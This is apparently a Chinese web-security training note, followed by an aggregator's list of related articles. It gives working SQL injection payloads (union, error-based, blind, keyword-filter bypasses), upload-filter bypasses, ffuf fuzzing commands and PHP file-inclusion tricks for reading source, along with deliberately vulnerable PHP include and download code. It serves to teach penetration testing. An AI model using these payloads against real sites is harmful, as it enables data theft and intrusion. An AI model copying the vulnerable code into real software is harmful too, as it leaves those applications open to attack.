网安培训第一期——sql注入+文件

文章目录

  • sql inject
    • 报错注入
    • time盲注
    • 联合查询
    • 万能密码
    • 拦截和过滤
    • ascii
    • 注入流程
    • base64
    • 查询的列名为mysql保留关键字key
  • 文件上传
    • ffuf
    • 脚本要做的三件事
    • 网络端口进程
    • 用户权限
    • 文件
    • 文件包含
    • 文件下载
    • XSS跨站请求攻击
    • csrf跨站请求伪造

sql inject

  1. 判断输入字段是字符串还是数字
    方法:
-- 字符串——显示全部内容(1是为了回显有效的数字,去掉网站正常查询出的信息)
1#    
-- 数字——显示全部内容
1 # 
  1. 判断回显字段数量
-- 通过二分法调整n的数量来判断列数
1' order by n #
-1' union select 1,2,3,4 #

3.在回显字符串处替代要获取的内容(一般是获取数据库名)

-1union select 1,database(),user(),version() #

4.通过数据库名获取有用表名

-1union select 1,2,table_name,4 from information_schema.tables where table_schema=database() #

5.通过表名获取有用列名(假设获取到表名为user)
注意:单引号可能造成错误闭合,可以在此处使用16进制的表名

1union select 1,2,column_name,4 from information_schema.columns where table_name='user' and table_schema=database() #
-- 获取16进制表名
select hex('users');
1union select 1,database(),column_name,4 from information_schema.columns where table_name=0x7573657273 and table_schema=database() #

6.通过列名获取有用信息

1union select 1,username,password,4 from chujiban.user #

报错注入

or updatexml(1,concat(0x7e,(database()),0x7e),1) #

无需试列数
1.查找数据库

or updatexml(1,concat(0x7e,(database()),0x7e),1) #

2.查找表(concat()限制输出结果为32位,且只能输出一个结果,因此必须使用limit 0,1)

-- 可以配合substr()函数获取到32位之后的值   substr(string,start,length)
-- substr('abcdef',2,3)  输出为 'bcd'
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,100),0x7e),1) #
-- 每次在substr()函数的第二个参数加31,即可全部展示
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),32,100),0x7e),1) #

3.查找列名

or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,100),0x7e),1) #

4.查找账号密码

or updatexml(1,concat(0x7e,(select username from 'xxx' limit 0,1),0x7e),1) #
or updatexml(1,concat(0x7e,(select password from 'xxx' limit 0,1),0x7e),1) #

time盲注

无回显,或者回显始终不变化的情况使用time盲注

-- if(1=1, sleep(3), 2);  如果第一个参数的值为true,就执行第二个参数,否则执行第三个参数
-- 测试
id=1' and and sleep(10) # #
-- 如果table_name的第一个字母的ascii值>0就直接输出,否则就睡3秒在输出
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0, 1, sleep(3));

联合查询

联合查询中使前一条语句查询失败的三种方式

  1. id=-1
  2. and 1=2
  3. limit 1,1 筛除最后给的假值

万能密码

1.#和–都被过滤的情况下可以使用 id=1’ or '1

这样sql语句就变成 id='1' or '1'='1'
select * from news where id = '1' or '1';  -- 成功闭合
select * from news where id = '1' or '1' = '1';  -- 成功闭合

拦截和过滤

关键字转义,如or(or,order,information_schema,password),and,union, select等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect。

ascii

-- 1.判断语句正误,查询到值说明正确
select * from news where id = 1 and ascii(substr(database(),1,1)) > 0
-- 2.判断database()首字母的ascii值,查询到值说明ascii>100,否则<100,二分法判断
select * from news where id = 1 and ascii(substr(database(),1,1)) > 100
-- 3.确定database()首字母的ascii值=99
select * from news where id = 1 and ascii(substr(database(),1,1)) = 99;
-- 4.确定database()首字母的为'c'
SELECT CHAR(99);
-- 记住常见的ascii值  a-97 z-122 A-65 Z-90 ascii>=0
-- 查询表名同理
select * from news where id = 1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0

注入流程

联合查询(union select) > bool盲注(判断ascii) > time盲注(ifsleep()函数)

  1. 首先通过页面判断参数名称,输入一个符号(无输入-整型,单引号/双引号/括号-字符型),页面报错,然后输入%23--+,页面恢复正常,说明闭合。在这里插入图片描述

  2. 若输入%23后页面仍显示报错,则尝试添加 )\ 等符号,当页面恢复正常时即为成功闭合,可以通过and 1=1 正常显示,and 1=2异常,进一步验证是否成功闭合。

  3. 若输入%23后页面显示正常,但是输入and 1=1报错说明存在过滤,分别对and,空格,等号,1进行相应替换尝试,and等关键字可使用双层aandnd(后续order by union select or同理),空格可以换做/**/或/*12138*/,等号可换作like,1可改用其他数字。

  4. 通过order by 1order by n判断前端输出表的列数,若order by 1报错说明存在过滤

  • 成功->使id=-1 使用联合查询union select 1,2,3,...,n进行下一步查找
  • 失败->考虑是否有关键字转义,如or(or,order,information_schema,password),and,union, select等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect

base64

网站代码中设置了对传入参数进行base64解码,因此可以使用base64编码后的值取验证是否存在sql注入

.php?id=1' # 空页面
.php?id=MSc= # 使用base64对1编码,页面报错,即符合上述情况
select `key` from users;  -- 正确

在这里插入图片描述

查询的列名为mysql保留关键字key

select key from users;   -- 报错
select `key` from users;  -- 正确

使用burpsuite爆破admin:1q2w3e4r转base64编码之后的POST请求方式的验证
1.从proxy中找到GET请求发送到repeter,change request成POST
2.sent to Intruder 设置
在这里插入图片描述
3. 爆破后转码 结果->url->base64

在这里插入图片描述

文件上传

  1. 文件名修改 1.jpg -> 1.php,使上传的文件变为可执行
  2. 黑名单 1.php. 或2.phP或3.php空格,绕过 php文件过滤
  3. copy source.jpg/b+1.php target.jpg

ffuf

格式:ffuf -u "目标地址/FUZZ" -w 字典
举例:ffuf -u "http://192.168.111.131/FUZZ" -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt
多个字典同时使用
使用格式:
ffuf -u 目标地址/FUZZ -mc 200 -w 字典路径地址
ffuf -u 目标地址/FUZZ1:FUZZ2 -w 字典:FUZZ1 -w 字典:FUZZ2
带cookie的扫描
ffuf -u http://192.168.111.130/DVWA-master/FUZZ -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt -b "security=low; PHPSESSID=pj0emeebmimf3t9ddpv6pknah0"

脚本要做的三件事

  1. 文件操作
  2. 命令操作
  3. 数据操作

网络端口进程

ipconfig /all
tasklist /svc  //查看进程
netstat /ano //查看端口号

用户权限

文件

copy
move
dir  // 显示文件路径=pwd
type 1.txt // 输出文件内容
echo 123 > 1.txt // 向文件中写入内容
dir /s c:/*.php // 搜索c盘目录下后缀为.php的文件
// 可以通过已查到的文件名确定项目根目录

文件包含

// test1
<?php
$file = $_GET["file"];
include $file;
?>
// 然后在浏览器中通过传参的方式执行包含的文件
// 127.0.0.1/test1.php?file=1.php
// 同时可以查看其他目录文件
// http://127.0.0.1/test1.php?file=./upload/1.jpg 如下图

应用场景:

  1. 文件包含+上传白名单 1.jpg
    在这里插入图片描述
<?php
//$file = $_GET["file"];
// 出于保护,使用固定尾缀的方式命名变量
$file = $_GET["file"]."txt";
include $file;
?>

再次访问1.txt时,出现报错,通过报错信息发现添加了.txt尾缀,此时应该直接通过file=1来访问1.txt
在这里插入图片描述
如何绕过固定尾缀?
浏览器通过%00截断,由于php版本问题目前未验证成功。

  1. 伪协议 参考
    php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。我们可以用如下代码将POST内容转换成base64编码并输出:
php://filter/convert.base64-encode/resource=xxx.php
//test1.php
<?php
$file = $_GET["file"];
include $file;
?>

在这里插入图片描述
base64解码
在这里插入图片描述

(1)开启
allow_url_fopen=On
allow_url_include=On
(2)用户可以动态控制变量
注1: 通常我们在Web中是无法知道allow_url_fopen、allow_url_include的,除非有phpinfo。通常本地包含都是开着的,因为它是默认开启的,而且很少人会改它。通常远程包含会被关掉,但是这说不准。
注2: 从PHP 5.2开始allow_url_include就默认为off的,而allow_url_fopen一直默认都是On的。通常开发人员没特殊情况也不会打开,所以说远程包含漏洞出现的概率很低,但是不代表没有。

  1. %00截断 get请求,要求 php版本 < 5.3.x

通过在代码中实现base64解码,在浏览器需输入base64编码的参数值。

//test1.php
<?php
$file = base64_decode($_GET["file"]);
include $file;
?>

在这里插入图片描述

在这里插入图片描述

伪协议读取源代码,同样需要对php://filter/convert.base64-encode/resource=1.txt进行base64编码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件下载

1.传入文件名进行下载

<?php
// 获取要下载的文件路径
$file = $_GET["filename"];// 检查文件是否存在
if (file_exists($file)) {//获取文件大小$filesize = filesize($file); // 设置响应标头header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename=' . basename($file));header('Content-Transfer-Encoding: binary');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: ' . filesize($file));// 输出文件内容readfile($file);exit;
} else {// 文件不存在的处理逻辑die('文件不存在.');
}
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2. 根据数据库中的文件id下载

<?php
header("Content-Type:text/html;charset=utf-8");
include "conf.php";
// 要下载文件的id
$id = $_GET["id"];
$sql = "select * from files where id ='$id'";
$result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($result);$file = $row['path'];
$filename = $row['path'];
// 检查文件是否存在
if (file_exists($file)) {//获取文件大小$filesize = filesize($file); // 设置响应标头header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename=' . basename($file));header('Content-Transfer-Encoding: binary');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: ' . filesize($file));// 输出文件内容readfile($file);exit;
} else {// 文件不存在的处理逻辑die('文件不存在.');
}
?>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这种情况容易造成sql注入。

XSS跨站请求攻击

csrf跨站请求伪造

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/245301.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux/Doctor

Enumeration nmap 已知目标开放了22,80,8089端口&#xff0c;扫描详细情况如下 可以看到对外开放了22,80,8089三个端口 TCP/80 SSTI 访问80端口&#xff0c;有一个infodoctors.htb的电子邮件&#xff0c;点击其他的也没有什么反应&#xff0c;猜测有可能需要域名访问 在/et…

python_ACM模式《剑指offer刷题》链表1

题目&#xff1a; 面试tips&#xff1a; 询问面试官是否可以改变链表结构 思路&#xff1a; 1. 翻转链表&#xff0c;再遍历链表打印。 2. 想要实现先遍历后输出&#xff0c;即先进后出&#xff0c;因此可借助栈结构。 3. 可用隐式的栈结构&#xff0c;递归来实现。 代码…

不就业,纯兴趣,应该自学C#还是JAVA?

不就业&#xff0c;纯兴趣&#xff0c;应该自学C#还是JAVA? 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「JAVA的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff…

docker-compose搭建redis集群

这里用docker-compose在一台机器搭建三主三从&#xff0c;生产环境肯定是在多台机器搭建&#xff0c;否则一旦这台宿主机挂了&#xff0c;redis集群全挂了&#xff0c;依然是单点故障。同时&#xff0c;受机器性能极限影响&#xff0c;其并发也上不去&#xff0c;算不上高并发。…

《WebKit 技术内幕》学习之十一(2):多媒体

2 视频 2.1 HTML5视频 在HTML5规范定义中&#xff0c;Web开发者可以使用“video”元素来播放视频资源。视频中有个重要的问题就是视频编码格式&#xff0c;对此&#xff0c;目前标准中包含了三种编码格式&#xff0c;它们分别是Ogg、MPEG4和WebM。其中Ogg是由Xiph.org组织开…

字符串匹配(BF KMP)详解 + 刷题

目录 &#x1f33c;前言 BF 算法 KMP 算法 &#xff08;1&#xff09;前缀函数 -- O(n^3) &#xff08;2&#xff09;前缀函数 -- O(n^2) &#xff08;3&#xff09;前缀函数 -- O(n) &#xff08;4&#xff09;辅助理解 &#x1f40b;P1308 -- 统计单词数 …

Linux:使用for+find查找文件并cp到其他目录,文件名带有空格

一、场景描述 在终端窗口中&#xff0c;用shell命令&#xff0c;批量拷贝文件到指定目录。 我是在Windows系统上&#xff0c;通过git bash终端来执行shell命令的。 二、实现过程 命令1 for filepath in find /d/LearningMaterials/数学/数学/高中/一数/偏基础&#xff08;基…

年销180万辆的特斯拉,护城河却在崩塌

文&#xff5c;刘俊宏 2023年率先开启汽车价格战的马斯克&#xff0c;伤敌一百自损八千&#xff1f; 在1月25日的特斯拉2023Q4财报电话会上&#xff0c;特斯拉CEO马斯克对中国公司的竞争力如此感叹道&#xff0c;“要是没有贸易壁垒&#xff0c;他们将摧毁&#xff08;destroy…

EXECL 单元格字符串链接 CONCAT :应用:将一行数据转为json

源&#xff1a; 目标 函数表示 CONCAT("data", CHAR(10), "{", CHAR(10), " ", "ulAlarmId : ", A5, CHAR(10), " ", "ulAlarmLevel : ", D5, CHAR(10)," ", "bBo…

《剑指 Offer》专项突破版 - 面试题 28 : 展平多级双向链表(C++ 实现)

题目连接&#xff1a;LCR 028. 扁平化多级双向链表 - 力扣&#xff08;LeetCode&#xff09; 题目&#xff1a; 在一个多级双向链表中&#xff0c;节点除了有两个指针分别指向前后两个节点&#xff0c;还有一个指针指向它的子链表&#xff0c;并且子链表也是一个双向链表&…

怎么给wordpress网站底部页脚添加备案号和链接?

以前“WordPress后台 >> 常规”最底部是有一个ICP备案号的&#xff0c;我们只需要填写备案号并保存更改即可让WordPress自带主题底部显示ICP备案号&#xff0c;但是现在新版本的WordPress已经没有了这个ICP备案号选项&#xff0c;而且也无法直接添加公安联网备案号&#…

常见の算法

前言本文主要使用Java 什么&#xff0c;是快乐星球#&#xffe5;%……什么是算法&#xff1f; 算法是一组完成任务的指令。任何代码片段都可视为算法&#xff0c;但我们主要介绍常见算法 一、引入——二分查找 二分查找是一种算法&#xff0c;其输入是一个有序的元素列表。如…

web安全学习笔记【09】——算法2

基础[1] 入门-算法逆向&散列对称非对称&JS源码逆向&AES&DES&RSA&SHA #知识点&#xff1a; 1、Web常规-系统&中间件&数据库&源码等 2、Web其他-前后端&软件&Docker&分配站等 3、Web拓展-CDN&WAF&OSS&反向&负载…

socket以及字节序

1. socket 介绍&#xff1a; 简介&#xff1a; 所谓 socket&#xff08; 套接字&#xff09;&#xff0c;就是对网络中不同主机上的应用进程之间进行双向通信的 端点的抽象。 一个套接字就是网络上进程通信的一端&#xff0c;提供了应用层进程利用网络协议交换数据的机制。从所…

字符金字塔(C语言刷题)

个人博客主页&#xff1a;https://blog.csdn.net/2301_79293429?typeblog 专栏&#xff1a;https://blog.csdn.net/2301_79293429/category_12545690.html 题目描述 请打印输出一个字符金字塔&#xff0c;字符金字塔的特征请参考样例 输入描述: 输入一个字母&#xff0c;保…

[BSidesCF 2020]Had a bad day

先看url&#xff0c;发现可能有注入 http://655c742e-b427-485c-9e15-20a1e7ef1717.node5.buuoj.cn:81/index.php?categorywoofers 试试能不能查看index.php直接?categoryindex.php不行&#xff0c;试试伪协议 把.php去掉试试 base64解码 <?php$file $_GET[category];…

Kali如何启动SSH服务并实现无公网ip环境远程连接

文章目录 1. 启动kali ssh 服务2. kali 安装cpolar 内网穿透3. 配置kali ssh公网地址4. 远程连接5. 固定连接SSH公网地址6. SSH固定地址连接测试 简单几步通过[cpolar 内网穿透](cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站)软件实现ssh 远程连接kali! …

Termux结合内网穿透实现无公网ip远程SFTP传输文件

目录 前言 1. 安装openSSH 2. 安装cpolar 3. 远程SFTP连接配置 4. 远程SFTP访问 4. 配置固定远程连接地址 结语 作者简介&#xff1a; 懒大王敲代码&#xff0c;计算机专业应届生 今天给大家聊聊Termux结合内网穿透实现无公网ip远程SFTP传输文件&#xff0c;希望大家能…

模拟队列

输入样例&#xff1a; 10 push 6 empty query pop empty push 3 push 4 pop query push 6输出样例&#xff1a; NO 6 YES 4 import java.util.Scanner;public class Main{public static void main(String[] args) {Scanner sc new Scanner(System.in);int m sc.nextInt();…

nodejs学习计划--(六)包管理工具

包管理工具 1. 介绍 包是什么 『包』英文单词是 package &#xff0c;代表了一组特定功能的源码集合包管理工具 管理『包』的应用软件&#xff0c;可以对「包」进行 下载安装 &#xff0c; 更新 &#xff0c; 删除 &#xff0c; 上传 等操作 借助包管理工具&#xff0c;可以快…